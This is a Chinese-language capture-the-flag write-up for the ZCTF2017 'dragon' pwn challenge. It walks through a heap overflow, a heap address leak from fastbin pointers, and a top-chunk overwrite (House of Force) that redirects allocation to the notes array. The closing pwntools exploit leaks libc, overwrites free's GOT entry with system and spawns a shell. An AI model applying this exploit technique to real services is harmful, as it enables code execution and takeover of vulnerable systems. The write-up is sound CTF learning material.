ZCTF2017 dragon

一开始一直看源码找不到漏洞在哪。看了himyth学长的exp后用gdb调试才发现漏洞所在，后悔自己当初没有fuzz，有些漏洞看源码可能很难找出来，但是fuzz的话往往就能找到问题所在。

首先写好4个封装函数，方便调试

```
def add_note(name_size, name, content):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("size: ", str(name_size))
    assert len(name) <= name_size
    p.sendafter("name: ", name)
    assert len(content) <= 32
    p.sendafter("content: ", content)


def del_note(_id):
    p.recvuntil(">> ")
    p.sendline("3")
    p.sendline(str(_id))


def edit_note(_id, content):
    p.recvuntil(">> ")
    p.sendline("2")
    p.sendlineafter("id: ", str(_id))
    p.sendafter("content: ", content)


def list_note(_id):
    result = []
    p.recvuntil(">> ")
    p.sendline("4")
    p.sendline(str(_id))
    p.recvuntil("input note id: ")
    p.recvuntil("id: ")
    result.append(int(p.recvuntil("\n").strip()))
    result.append(p.recvuntil("\n")[6:].strip())
    result.append(p.recvuntil("\n")[9:].strip())
    return result
```

fuzz步骤：

1. add_note(24, “name”, “content”)
2. edit_note(0, “A” * 32)
3. add_note(24, “note1”, “note1content”)
4. list_note(0)
5. 发现打印结果只有24个A，后面跟着一个 ‘!’ ，感觉这里可能有漏洞。
6. 这时候再运行exp， gdb连上调试。
7. 针对以上每一步，运行结束后仔细观察堆的变化情况
8. 发现第0个note的content区域只分配了24个字节，而edit_note的时候可以修改32个字节，造成了堆溢出。正好可以覆盖top chunk的size字段。
9. 再调用add_note时，top chunk被分割，top chunk的size字段变成了新chunk的size字段0x21， 正好是一个 ‘!’
10. 这时候再仔细观察源码，问题出在strdup函数那里，阅读strdup函数的源码

```
char *
strdup(str)
    const char *str;
{
    size_t len;
    char *copy;

    len = strlen(str) + 1;
    if (!(copy = malloc((u_int)len)))
        return (NULL);
    bcopy(str, copy, len);
    return (copy);
}
```

    传入的参数str是content，strlen("content")返回7， 然后调用malloc(7)，因为64位下面16字节对齐，所以实际上是调用malloc(16), 这样在edit_note的时候就能造成溢出！

11. 查阅相关top chunk overwrite的资料

如何leak堆地址的思路：

这道题分配的所有chunk都是fastbin， 可以先add_note两次，然后反向free掉note（记住fastbin链表都是后进先出的，所以要反向free），在add_note， 这时候note的name指针指向的chunk中正好包含了一个fd指针（之前free chunk的时候产生的）， 调用list_note就能leak出堆地址。

```
add_note(0x18, payload, "\x00")
add_note(0x18, "name", "\x00")

del_note(1)
del_note(0)

add_note(0x18, 'A', '\x00')

heap_addr = u64(('\x00' + list_note(0)[1][1:])[:8].ljust(8, '\x00'))
print hex(heap_addr)
```

top chunk的size被修改为0xffffffffffffffff之后，我们在add_note的时候可以指定name的大小为一个负数，虽然size变量的类型是size_t(无符号数），但是和阈值32比较的时候size是被转换成有符号数比较的。传递给malloc的时候又被当做size_t类型（无符号数）传递过去。

```
size_t size;
//...
p_info = (Note_info *)malloc(24uLL);
    printf("please input note name size: ");
    scanf("%ld", &size);                            // size 可以为一个非常大的负值，例如0x10000000000...
    getchar();
    if ( (signed __int64)size <= 32 )               // 无符号的size转变为有符号数和32比较
    {
      p_info->pName = (__int64)malloc(size);        //size被当做size_t类型传递给malloc
```

为了说明如何利用overwrite top chunk来达到write anywhere anything的目的，我们先观察下面一段代码，这段代码的作用是在malloc的过程中找不到现成的free chunk的时候，从top chunk中分割出一部分空间返回给调用方。

```
1  static void* _int_malloc(mstate av, size_t bytes)
2  {
3    INTERNAL_SIZE_T nb;              /* normalized request size */
4    mchunkptr       victim;          /* inspected/selected chunk */
5    INTERNAL_SIZE_T size;            /* its size */
6    mchunkptr       remainder;       /* remainder from a split */
7    unsigned long   remainder_size; /* its size */
8
9    checked_request2size(bytes, nb);
10
11   [...]
12
13   victim = av->top; //av->top指向top chunk的meta data开始还是content开始的地方？？？
14   size = chunksize(victim);
15   if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))//需要绕过这一行的条件判断
16   {
17     remainder_size = size - nb;
18     remainder = chunk_at_offset(victim, nb);//利用这一行修改av->top指针
19     av->top = remainder;
20     set_head(victim, nb | PREV_INUSE | (av!=&main_arena ? NON_MAIN_ARENA : 0));
21     set_head(remainder, remainder_size | PREV_INUSE);
22
23     check_malloced_chunk(av, victim, nb);
24     void *p = chunk2mem(victim);
25     if (__builtin_expect (perturb_byte, 0))
26       alloc_perturb (p, bytes);
27     return p;
28   }
29
30   [...]
31 }
```

第18行的宏定义展开是

```
1  define chunk_at_offset(p, s)  ((mchunkptr)(((char*)(p)) + (s)))
```

我们可以指定s为任意一个负数，来控制av->top指针指向我们想要指向的位置，例如如果我们想要修改got表中free表项的值，我们可以让av->top等于got表free表项的地址-16，在下一次malloc的时候，返回的指针就能指向free表项，从而能够修改free表项。但第15行的if判断必须要成立才能执行下面的语句，因为都是无符号数的比较，所以我们让size等于最大的无符号数0xffffffffffffffff就可以了，这也是上面overwrite top chunk的时候把size修改为0xffffffffffffffff的原因。

当然这一道题我们不是直接修改free表项，而是修改存放所有struct *Note_info的全局数组notes_arr。

notes_arr - 16 = old_top + nb

nb = notes_arr - 16 - old_top

计算出add_note的时候传递的name的size大小。

这样我们就可以通过edit_note来修改数组了，接下来随便怎么玩都行了，我们可以在之前add_note的时候，在堆中布置fake Note_info结构体，然后让notes_arr中的表项指向fake结构体，结构体中可以存放got表free函数项的地址，whatever，然后就可以info leak出libc的地址，以及修改free函数表项的值为system函数的地址了。

解题的时候遇到的坑：

目的为修改top chunk指向任意地址所进行的add_note中间，总是莫名其妙提前让程序中止了。后来发现

```
1  if ( (signed __int64)size <= 32 )           // 无符号的size转变为有符号数和32
   比较
2      {
3        p_info->pName = (__int64)malloc(size);
4        printf("please input note name: ");
5        read_buff((void *)p_info->pName, size);    // 输入中没有换行符的时候就不会
   在结尾插入'\0',可能存在info leak
6        printf("please input note content: ");
```

程序在执行第5行read_buff的时候出现了问题，通过管道传过去的字符并没有被接收，而是在下面的read_buff被接收。跟踪调试到里面的read函数的时候，read函数的三个参数除了第三个参数size似乎过大外，并没有其他问题。

```
1  #include <stdio.h>
2  #include <stdlib.h>
3  int main()
4  {
5
6      int size = -1;
7      char buf = malloc(32);
8      int ret;
9      ret = read(0, buf, size);    //size作为size_t，即无符号类型传入
10
11     perror("read :");
12     printf("%s", buf);
13 }
```

自己编写了一段函数测试了一下，size很大的时候并没有报错。gdb调试的时候用"print errno"命令打印全局错误号为0xe，查阅errno表0xe, 表示EFAULT，在read函数中表示 buf is outside your accessible address space. 但是实际运行的时候传递的buf地址是堆中的地址，按理说不应该出现这种错误才对。想了半天没想明白就只能先放弃。

在用管道和程序通信的时候，read函数是不管你传过去的东西是\0还是\n的，read函数只要看到管道里有东西就会去读，然后返回。所以代码里面send的时候一般不加换行符。

最后贴上完整的exp

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dddong / AAA """

from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='info')
context(terminal=['gnome-terminal', '-x', 'bash', '-c'])

def add_note(name_size, name, content):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("size: ", str(name_size))
    p.sendafter("name: ", name)
    p.recvuntil("content: ")
    if content != '':
        p.send(content)


def del_note(_id):
    p.recvuntil(">> ")
    p.sendline("3")
    p.sendline(str(_id))


def edit_note(_id, content):
    p.recvuntil(">> ")
    p.sendline("2")
    p.sendlineafter("id: ", str(_id))
    p.sendafter("content: ", content)


def list_note(_id):
    result = []
    p.recvuntil(">> ")
    p.sendline("4")
    p.sendline(str(_id))
```

```python
    p.recvuntil("input note id: ")
    p.recvuntil("id: ")
    result.append(int(p.recvuntil("\n").strip()))
    result.append(p.recvuntil("\n")[6:].strip())
    result.append(p.recvuntil("\n")[9:].strip())
    return result


_program = 'dragon'
_pwn_remote = 0
_debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0

elf = ELF('./' + _program)

if _pwn_remote == 0:
    libc = ELF('./libc.so.6')
    p = process('./' + _program)

    if _debug != 0:
        if elf.pie:
            _bps = [] #breakpoints defined by yourself, not absolute addr, but offset addr of the program's base addr
            _offset = __get_base(p, os.path.abspath(p.executable))
            _source = '\n'.join(['b*%d' % (_offset + _) for _ in _bps])
        else:
            _source = 'source peda-session-%s.txt' % _program
        gdb.attach(p.proc.pid, execute=_source)
else:
    libc = ELF('./libc6-i386_2.19-0ubuntu6.9_amd64.so') #todo
    p = remote('8.8.8.8', 4002) #todo



"""
info leak heap base addr, malloc 2 chunk, then free, fastbin chunk link list forms in memory, then alloc 1 chunk, then print the note.
"""

payload = "/bin/sh\x00"
add_note(0x18, payload, "\x00")
add_note(0x18, "name", "\x00")

del_note(1)
del_note(0)

add_note(0x18, 'A', '\x00')
```

```
81
82  heap_addr = u64(('\x00' + list_note(0)[1][1:])[:8].ljust(8, '\x00'))
83  print "heap base addr:", hex(heap_addr)
84
85  ##########################################
86
87  bin_sh_addr = heap_addr + 0x30
88  add_note(0x18, p64(0)+p64(0)+p64(bin_sh_addr), 'content')
89
90  fake_pinfo = p64(elf.got['free']) + p64(0) + p64(elf.got['free'])
91  edit_note(1, fake_pinfo + '\xff' * 0x8)      # overflow the next size,
    top
92
93  #change the av->top
94  old_top = heap_addr + 0x130
95  notes_arr = 0x6020e0
96  nb = notes_arr - 16 - old_top
97
98  print "nb:", (nb)
99
100 add_note(nb, 'name', '')    #note2->content points to note_arr
101
102 edit_note(2, p64(heap_addr + 0x0f0)+p64(heap_addr+0xd0)) #edit the
    note_arr actually
103
104 #leak libc
105 result = list_note(0)
106 free_in_libc = u64(result[1][:8].ljust(8, '\x00'))
107 libc.address = free_in_libc - libc.symbols['free']
108 print "libc base addr:", hex(libc.address)
109
110 edit_note(0, p64(libc.symbols['system']))
111 #edit_note(2, p64(libc.search("/bin/sh").next()))
112
113 del_note(1)
114 p.interactive()
```